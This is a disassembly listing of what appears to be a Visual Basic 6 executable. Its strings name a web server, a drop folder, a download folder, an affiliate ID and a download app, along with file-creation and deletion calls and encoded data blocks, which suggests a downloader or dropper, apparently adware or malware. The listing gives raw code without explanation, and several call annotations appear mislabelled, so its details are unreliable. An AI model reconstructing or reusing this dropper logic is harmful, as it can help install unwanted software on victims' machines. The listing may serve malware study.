		dd 610063h, 63006Ch, 65002Eh, 650078h, 0
		dd 0Ah,	690057h, 32006Eh, 4Bh, 0Ah, 490057h, 4E004Eh, 54h
		dd 14h,	500058h, 57002Dh, 4E0049h, 300032h, 330030h, 0
		dd 0Eh,	490057h, 44004Eh, 57004Fh, 53h,	0Eh, 740068h, 700074h
		dd 2F003Ah, 2Fh, 2Ah, 72002Fh, 700065h,	72006Fh, 690074h
		dd 67006Eh, 49002Fh, 470070h, 6F0065h, 61002Eh,	700073h
		dd 78h,	2, 7Ch,	4, 530055h, 0
		dd 12h,	590062h, 300030h, 2E0031h, 780065h, 65h, 4, 410043h
		dd 0
		dd 12h,	590062h, 300030h, 2E0032h, 780065h, 65h, 4, 4B0055h
		dd 0
		dd 12h,	590062h, 300030h, 2E0033h, 780065h, 65h, 8, 550045h
		dd 4F0052h, 0
		dd 12h,	590062h, 300030h, 2E0034h, 780065h, 65h, 0Ah, 54004Fh
		dd 450048h, 52h, 12h, 590062h, 300030h,	2E0035h, 780065h
		dd 65h,	6, 3A0043h, 5Ch, 2, 5Ch, 740h, 52002Fh,	3F003Fh
		dd 760078h, 6D003Fh, 3F0078h, 3D003Fh, 5B007Ah,	1E003Fh
		dd 66006Fh, 4B0031h, 3F0066h, 3F003Fh, 3F000Fh,	6B003Fh
		dd 3F003Fh, 27005Eh, 3F0073h, 2C003Fh, 3 dup(3F003Fh)
		dd 3F005Ah, 3F003Fh, 4F0027h, 270063h, 3F003Fh,	1D003Fh
		dd 3F006Ch, 62003Fh, 3F003Fh, 660036h, 31003Fh,	4D003Fh
		dd 3F004Dh, 17003Fh, 3 dup(3F003Fh), 34003Fh, 7C0071h
		dd 3F003Fh, 3F007Fh, 6D003Fh, 35001Ah, 6F003Fh,	3F003Fh
		dd 3F007Dh, 4B003Fh, 3F007Ah, 6C002Fh, 37003Fh,	3F006Eh
		dd 3F006Bh, 3F003Fh, 3B007Eh, 3F003Fh, 4B003Fh,	6F003Fh
		dd 3 dup(3F003Fh), 37002Bh, 5E006Fh, 33003Fh, 3F003Fh
		dd 6E003Fh, 38005Dh, 3F007Bh, 3F0046h, 3F003Fh,	3F0073h
		dd 2 dup(3F003Fh), 3F0026h, 75003Fh, 3F003Fh, 3E0002h
		dd 7E003Fh, 61003Fh, 3F0021h, 3F003Fh, 20007Fh,	7B0053h
		dd 3F0035h, 3F0031h, 1B003Fh, 3F003Fh, 42003Fh,	3F0007h
		dd 76007Bh, 2 dup(3F003Fh), 3F006Bh, 7D003Fh, 3F003Fh
		dd 4A0031h, 750037h, 3F003Fh, 3F0048h, 3F0034h,	3F0069h
		dd 70045h, 2 dup(3F003Fh), 39005Dh, 1A003Fh, 3F003Fh, 64002Eh
		dd 3F0050h, 2 dup(3F003Fh), 7E003Fh, 7F005Bh, 3F006Ah
		dd 5003Fh, 2F003Fh, 3F006Dh, 6B003Fh, 75003Fh, 54003Fh
		dd 19003Fh, 35003Fh, 3F007Fh, 3F003Fh, 6B0048h,	49003Fh
		dd 2 dup(3F003Fh), 60071h, 7A007Bh, 10063h, 6007Bh, 3F003Dh
		dd 2E0059h, 27003Fh, 21003Fh, 3	dup(3F003Fh), 5C003Fh
		dd 37001Ah, 3F003Fh, 3F00B3h, 3F0039h, 3F003Fh,	35005Ah
		dd 5 dup(3F003Fh), 3F004Fh, 3F003Fh, 1B0013h, 3F003Fh
		dd 0E003Fh, 3F003Fh, 3F0041h, 3F003Fh, 3F0034h,	23003Fh
		dd 15001Eh, 2 dup(3F003Fh), 750075h, 6D003Fh, 440054h
		dd 700078h, 3F003Fh, 2F003Fh, 340016h, 3 dup(3F003Fh)
		dd 3F006Ch, 5 dup(3F003Fh), 5B003Fh, 3F003Fh, 3C0036h
		dd 5D00B4h, 2 dup(3F003Fh), 3F0055h, 16003Fh, 3F0051h
		dd 60003Fh, 2F0037h, 65003Fh, 2	dup(3F003Fh), 160004h
		dd 3F005Dh, 3F003Fh, 3F000Eh, 3F003Fh, 3D0019h,	3F003Fh
		dd 66003Fh, 320066h, 59001Fh, 3F007Ah, 3F003Fh,	3F0054h
		dd 35003Fh, 110077h, 3F007Fh, 3F003Fh, 15006Fh,	3 dup(3F003Fh)
		dd 12003Fh, 40003Fh, 2 dup(3F003Fh), 3F017Dh, 3F0079h
		dd 2 dup(3F003Fh), 70003Fh, 3F005Ch, 2 dup(3F003Fh), 3A0062h
		dd 3F0041h, 67003Fh, 2 dup(3F003Fh), 3F0020h, 3D002Bh
		dd 7B007Fh, 3F0033h, 3E003Fh, 3F003Dh, 3F003Fh,	0FF003Fh
		dd 6F003Fh, 2 dup(3F003Fh), 7E007Ch, 3F003Fh, 3F007Eh
		dd 7B000Eh, 3F003Fh, 35003Fh, 3F0037h, 3F003Fh,	4D003Fh
		dd 3 dup(3F003Fh), 59003Fh, 17D003Fh, 7C0065h, 3F003Fh
		dd 3F0006h, 3F0060h, 0C00063h, 3F000Eh,	3F007Eh, 280071h
		dd 2 dup(3F003Fh), 30003Fh, 17003Fh, 5B005Ch, 3F0067h
		dd 3F00F7h, 2F003Fh, 1D003Fh, 71003Fh, 3F006Fh,	590067h
		dd 4E003Fh, 240035h, 40003Fh, 3	dup(3F003Fh), 3E003Fh
		dd 1E006Fh, 3F003Fh, 450043h, 15003Fh, 3F003Fh,	3F0023h
		dd 3F003Fh, 4C007Eh, 3F007Ch, 3D003Fh, 3F003Fh,	43003Fh
		dd 0F003Fh, 3F0032h, 1C003Fh, 3F003Fh, 690042h,	2 dup(3F003Fh)
		dd 3F001Fh, 7C003Fh, 76003Fh, 3F007Ch, 3F003Fh,	3F0048h
		dd 3F002Fh, 12003Fh, 2E0064h, 71001Dh, 3E003Fh,	2D003Bh
		dd 3F003Fh, 120077h, 2 dup(3F003Fh), 5B0005h, 3E003Fh
		dd 3F006Fh, 23003Fh, 1F003Fh, 4F001Ch, 3F005Ch,	7D003Fh
		dd 4E003Fh, 3F003Fh, 2D007Ch, 5F003Fh, 3F0058h,	3F0067h
		dd 2 dup(3F003Fh), 38003Fh, 62003Fh, 3F002Fh, 3003Fh, 3F0045h
		dd 1F003Fh, 3F005Dh, 3F000Fh, 2	dup(3F003Fh), 3F0017h
		dd 1C003Fh, 63007Bh, 3A002Bh, 2	dup(3F003Fh), 3F001Fh
		dd 6A003Fh, 4 dup(3F003Fh), 2F003Fh, 2 dup(3F003Fh), 51003Fh
		dd 2E003Fh, 60003Fh, 3F0073h, 7A0020h, 3F003Fh,	70004Eh
		dd 20003Fh, 39003Fh, 3F003Fh, 7003Fh, 3F00AEh, 2 dup(3F003Fh)
		dd 3F005Dh, 3F001Dh, 59005Fh, 140030h, 13003Fh,	3F0016h
		dd 3F003Fh, 65003Fh, 5F003Fh, 3F00BFh, 2F0045h,	2 dup(3F003Fh)
		dd 3F0068h, 3F003Fh, 3D003Fh, 3F003Fh, 430075h,	7E004Bh
		dd 1D0070h, 75003Fh, 3F003Fh, 5D0067h, 3F0057h,	3F004Ah
		dd 3F0020h, 3F0007h, 2 dup(3F003Fh), 3F0043h, 3F003Eh
		dd 8003Fh, 7B003Fh, 3F0064h, 76003Fh, 2F0032h, 150062h
		dd 39003Fh, 62007Ch, 3F003Fh, 3F0024h, 28003Fh,	380065h
		dd 79007Fh, 5F003Fh, 3F003Fh, 161003Fh,	3F003Fh, 3F003Dh
		dd 2 dup(3F003Fh), 3B003Fh, 35003Fh, 15003Fh, 1F003Fh
		dd 3F003Fh, 76003Fh, 2 dup(3F003Fh), 60007Ch, 2	dup(3F003Fh)
		dd 3F0038h, 3F005Fh, 3F007Bh, 4A003Fh, 7E003Fh,	7D0033h
		dd 740004h, 23002Bh, 3F003Fh, 3F0057h, 2 dup(3F003Fh)
		dd 3F00F8h, 3F003Fh, 3F0010h, 710006h, 3F003Fh,	5D003Fh
		dd 2 dup(3F003Fh), 14003Fh, 3B007Fh, 2 dup(3F003Fh), 4D0050h
		dd 7F003Fh, 4A017Eh, 80066h, 0
		dd 16h,	4, 1, 0
		dd 1730000h, 0FFFFFFFFh, 1, 18h, 750042h, 64006Eh, 65006Ch
		dd 610042h, 650073h, 2E0031h, 0
		dd 2, 2Fh, 0Eh,	3F002Fh, 6F0063h, 650064h, 3Dh,	0A4C466B8h
		dd 101B499Fh, 0AA0078BBh, 0BB3C3800h, 2	dup(0)
		dd 34h,	630053h, 690072h, 740070h, 6E0069h, 2E0067h, 690046h
		dd 65006Ch, 790053h, 740073h, 6D0065h, 62004Fh,	65006Ah
		dd 740063h, 0
aFolderexists_0:
		unicode	0, <FolderExists>,0
		align 10h
aCreatefolder_0:
		unicode	0, <CreateFolder>,0
		align 4
		dd 14h,	6D0074h, 5A0070h, 460054h, 6C002Eh, 67006Fh, 0
aCreatetextfi_0:
		unicode	0, <CreateTextFile>,0
		align 4
aWriteline_0:
		unicode	0, <WriteLine>,0
aGetfile_0:
		unicode	0, <GetFile>,0
aDelete_0:
		unicode	0, <Delete>,0
		align 4
aVba6_dll_0	db 'VBA6.DLL',0
		align 4
a__vbavarseto_0	db '__vbaVarSetObjAddref',0
		align 10h
a__vbaobjvar_0	db '__vbaObjVar',0
a__vbalatemem_1	db '__vbaLateMemCall',0
		align 10h
a__vbavarlate_0	db '__vbaVarLateMemCallLd',0
		align 4
a__vbavarsetv_0	db '__vbaVarSetVar',0
		align 4
a__vbaerrorov_1	db '__vbaErrorOverflow',0
		align 4
a__vbalenbstr_0	db '__vbaLenBstr',0
		align 10h
a__vbai2i4_0	db '__vbaI2I4',0
		align 4
a__vbastrcmp_0	db '__vbaStrCmp',0
a__vbai2var_0	db '__vbaI2Var',0
		align 4
a__vbaonerror_0	db '__vbaOnError',0
		align 4
a__vbaarymove_1	db '__vbaAryMove',0
		align 4
a__vbavartste_0	db '__vbaVarTstEq',0
		align 4
a__vbaarydest_0	db '__vbaAryDestruct',0
		align 4
a__vbafileclo_0	db '__vbaFileClose',0
		align 4
a__vbaputowne_0	db '__vbaPutOwner3',0
		align 4
a__vbafileope_0	db '__vbaFileOpen',0
		align 4
a__vbavar2vec_0	db '__vbaVar2Vec',0
		align 4
a__vbafreestr_0	db '__vbaFreeStrList',0
		align 4
a__vbavarcat_0	db '__vbaVarCat',0
a__vbastrvarv_1	db '__vbaStrVarVal',0
		align 4
a__vbavarcopy_0	db '__vbaVarCopy',0
		align 4
a__vbavarinde_0	db '__vbaVarIndexLoad',0
		align 4
a__vbafreevar_1	db '__vbaFreeVar',0
		align 4
a__vbavardup_1	db '__vbaVarDup',0
a__vbavarmove_1	db '__vbaVarMove',0
		align 4
a__vbafreevar_2	db '__vbaFreeVarList',0
		align 4
a__vbafreeobj_0	db '__vbaFreeObj',0
		align 4
a__vbaobjset_0	db '__vbaObjSet',0
		dd 0
a__vbalateidc_0	db '__vbaLateIdCallLd',0
		align 10h
a__vbastrvarm_1	db '__vbaStrVarMove',0
a__vbafreestr_1	db '__vbaFreeStr',0
		align 10h
a__vbahresult_0	db '__vbaHresultCheckObj',0
		align 4
a__vbastrcat_0	db '__vbaStrCat',0
a__vbastrmove_0	db '__vbaStrMove',0
		align 4
a__vbastrcopy_0	db '__vbaStrCopy',0
		align 4
		dd offset loc_402DBF+1
		dd offset loc_402EDE+2
		dd offset loc_402E49+3
		dd offset loc_402E9B+5
		align 8
		dd offset loc_402E98
		align 10h
		dd offset loc_402EAA+2
		align 8
		dd offset loc_402ECC
		dd offset loc_402ED3+5
		dd offset loc_402E72+2
		dd offset loc_402E80+4
		dd offset loc_402E58
		dd offset loc_402EB8
		dd offset loc_402EC4
		align 8
		dd offset loc_402E3C+4
		dd offset loc_402E49+3
		dd offset loc_402E58
		dd offset loc_402E64
		dd 7150008h, 0FFFFh, 0
		dd 60030008h, 402C20h, 3 dup(0)
		dd 10101Eh, 7190004h, 0FFFFh, 0
		dd 60030009h, 402C00h, 3 dup(0)
		dd 101Eh, 7010108h, 0FFFFh, 0
		dd 60030003h, 402C10h, 3 dup(0)
		dd 26301Eh, 6FD000Ch, 0FFFFh, 0
		dd 60030002h, 402C28h, 3 dup(0)
		dd 0F0F101Eh, 7110004h,	0FFFFh,	0
		dd 60030007h, 402C04h, 3 dup(0)
		dd 101Eh, 70D010Ch, 0FFFFh, 0
		dd 60030006h, 402C34h, 3 dup(0)
		dd 2330301Eh, 7050108h,	0FFFFh,	0
		dd 60030004h, 402C08h, 3 dup(0)
		dd 23101Eh, 7090108h, 0FFFFh, 0
		dd 60030005h, 402C18h, 3 dup(0)
		dd 30301Eh, 0
		dd offset loc_402D97+1
		dd offset loc_402CBC
		dd offset loc_402C98
		dd offset loc_402D26+2
		dd offset loc_402D4C
		dd offset loc_402D00+4
		dd offset loc_402CDD+3
		dd offset loc_402C4E+2
		dd offset loc_402C72+2
		dd 6F90010h, 0FFFFh, 0
		dd 60030001h, 402C40h, 3 dup(0)
		dd 1010101Eh, 10h, 0
		dd offset loc_40197C
		dd 0FFFFFFFFh, 3 dup(0)
		dd offset loc_402D70
		align 8
		dd offset loc_402BFC
		dd offset loc_402BFC
		dd offset loc_402BFC
		align 10h
		dd 44h,	4, 0
		dd offset loc_401BC9+3
		dd 0FFFFFFFFh, 0
		dd offset loc_402BFC
		dd 3 dup(0)
		dd 0FFFFFFFFh, 0
		dd offset loc_401D2D+3
		dd offset loc_401CD6+2
		dd offset loc_4062D7+1
		dd offset loc_401DBA+2
		dd offset loc_401D58
		dd offset loc_4062DC
aPgeodnlapp_0	db 'pGeoDnlApp',0
		align 4
aPdropfolder_0	db 'pDropFolder',0
aPwebserver_0	db 'pWebServer',0
		align 4
aPdownloadfol_0	db 'pDownloadFolder',0
aPaffiliateid_0	db 'pAffiliateId',0
		align 4
aPclientappro_0	db 'pClientAppRootName',0
		align 10h
aPath_0		db 'path',0
		align 4
aStrdirname_0	db 'strDirName',0
		align 4
aFilename_0	db 'Filename',0
		align 10h
aFilepath_0	db 'filepath',0
		align 4
aFileext_0	db 'FileExt',0
aPfilepath_0	db 'pFilePath',0
		align 10h
aPmsg_0		db 'pMsg',0
		align 4
aPdownloadapp_0	db 'pDownloadApp',0
		align 4
		dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0E0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401128h
		mov	edi, [ebp+8]
		mov	eax, edi
		and	eax, 1
		mov	[ebp-4], eax
		and	edi, 0FFFFFFFEh
		push	edi
		mov	[ebp+8], edi
		mov	ecx, [edi]
		call	dword ptr [ecx+4]
		mov	esi, dword ptr ds:loc_4010CF+1
		xor	eax, eax
		mov	edx, offset sub_401E78
		lea	ecx, [ebp-24h]
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-24h], eax
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	[ebp-44h], eax
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], eax
		mov	[ebp-5Ch], eax
		mov	[ebp-6Ch], eax
		mov	[ebp-70h], eax
		mov	[ebp-74h], eax
		mov	[ebp-78h], eax
		mov	[ebp-7Ch], eax
		mov	[ebp-80h], eax
		mov	[ebp-84h], eax
		mov	[ebp-88h], eax
		mov	[ebp-8Ch], eax
		mov	[ebp-90h], eax
		mov	[ebp-0A0h], eax
		mov	[ebp-0B0h], eax
		mov	[ebp-0C0h], eax
		mov	[ebp-0D0h], eax
		mov	[ebp-0E0h], eax
		mov	[ebp-0E4h], eax
		call	esi	; SetErrorMode
		mov	edx, offset sub_401E88
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edx, offset sub_401E9C ; jumptable 0040148C case 41
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		mov	edx, 401EA8h
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		mov	edx, [ebp-74h]
		mov	esi, dword ptr ds:loc_401026+2
		push	401EC4h
		push	edx
		call	esi	; SetErrorMode
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, offset sub_401EE4
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EF8h
		lea	ecx, [ebp-20h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F08h
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F14h
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F54h
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_41BCCB
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41BCCB:				; CODE XREF: .data:0041BCB7j
		xor	eax, eax
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	ecx, [ebp-7Ch]
		setz	al
		neg	eax
		mov	[ebp-0ECh], eax
		call	dword ptr ds:loc_401118
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41BD08
		mov	edx, offset sub_401F90
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FA0
		jmp	short loc_41BD1B
; ---------------------------------------------------------------------------

loc_41BD08:				; CODE XREF: .data:0041BCF1j
		mov	edx, offset sub_401FB0
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FCC

loc_41BD1B:				; CODE XREF: .data:0041BD06j
		lea	ecx, [ebp-4Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	ecx, [edi]
		lea	edx, [ebp-0E4h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	edi
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_41BD4E
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41BD4E:				; CODE XREF: .data:0041BD3Aj
		cmp	word ptr [ebp-0E4h], 0
		jnz	loc_41C5B1
		mov	ecx, [ebp-48h]
		push	401FE0h
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	401FF4h
		call	esi	; SetErrorMode
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-0A0h], ecx
		mov	[ebp-98h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-9Ch]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-94h]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-90h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	dword ptr ds:loc_401013+1
		mov	edx, eax
		lea	ecx, [ebp-28h]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-90h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-0A0h]
		mov	dword ptr [ebp-0B8h], offset sub_402024
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F3+1
		mov	ecx, [ebp-28h]
		push	0
		lea	eax, [ebp-0A0h]
		push	0FFFFFFFFh
		push	eax
		lea	edx, [ebp-0B0h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_40108F+1
		lea	edx, [ebp-0B0h]
		lea	ecx, [ebp-6Ch]
		call	dword ptr ds:loc_401006+2
		mov	ebx, dword ptr ds:loc_40100C
		lea	ecx, [ebp-0A0h]
		call	ebx	; GetShortPathNameA
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	eax, 1
		mov	[ebp-0C0h], ecx
		mov	[ebp-0B8h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	dword ptr [ebp-0D8h], 40202Ch
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	1
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_41BF10
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], offset sub_402038
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_41BF10:				; CODE XREF: .data:0041BEEBj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], offset sub_402050
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_41BFB6
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 40205Ch
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_41BFB6:				; CODE XREF: .data:0041BF91j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], 402074h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_41C05C
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 402080h
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_41C05C:				; CODE XREF: .data:0041C037j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], 402098h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_41C102
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], offset sub_4020A8
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_41C102:				; CODE XREF: .data:0041C0DDj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], offset sub_4020C0
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_41C1A8
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 4020D0h
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_41C1A8:				; CODE XREF: .data:0041C183j
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-48h]
		mov	eax, [ebp-20h]
		mov	ebx, [edi]
		push	ecx
		push	edx
		lea	ecx, [ebp-44h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		call	dword ptr ds:loc_4010A4
		push	eax
		push	edi
		call	dword ptr [ebx+6F8h]
		test	eax, eax
		jge	short loc_41C1E2
		push	6F8h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C1E2:				; CODE XREF: .data:0041C1CEj
		mov	ebx, dword ptr ds:loc_401118
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		mov	eax, [ebp-20h]
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0A0h]
		mov	[ebp-98h], eax
		push	1
		lea	edx, [ebp-44h]
		push	ecx
		lea	eax, [ebp-0B0h]
		push	edx
		push	eax
		mov	dword ptr [ebp-0A0h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		call	dword ptr ds:loc_40107F+1
		fstp	qword ptr [ebp-0B8h]
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-5Ch]
		mov	dword ptr [ebp-0C0h], 5
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, 8
		mov	eax, [ebp-48h]
		push	ecx
		mov	[ebp-0C0h], ecx
		mov	ebx, esp
		mov	edx, [ebp-34h]
		sub	esp, 10h
		mov	[ebp-0B8h], edx
		mov	[ebx], ecx
		mov	ecx, [ebp-0CCh]
		mov	edx, [edi]
		mov	[ebx+4], ecx
		mov	ecx, esp
		mov	[ebx+8], eax
		mov	eax, [ebp-0C4h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp-0C0h]
		mov	[ecx], eax
		mov	eax, [ebp-0BCh]
		mov	[ecx+4], eax
		mov	eax, [ebp-0B8h]
		mov	[ecx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-24h]
		push	ecx
		push	edi
		call	dword ptr [edx+6FCh]
		test	eax, eax
		jge	short loc_41C2F2
		push	6FCh
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C2F2:				; CODE XREF: .data:0041C2DEj
		mov	edx, 4020FCh
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, [ebp-2Ch]
		mov	eax, [ebp-20h]
		mov	ebx, [edi]
		push	edx
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+714h]
		test	eax, eax
		jge	short loc_41C378
		push	714h
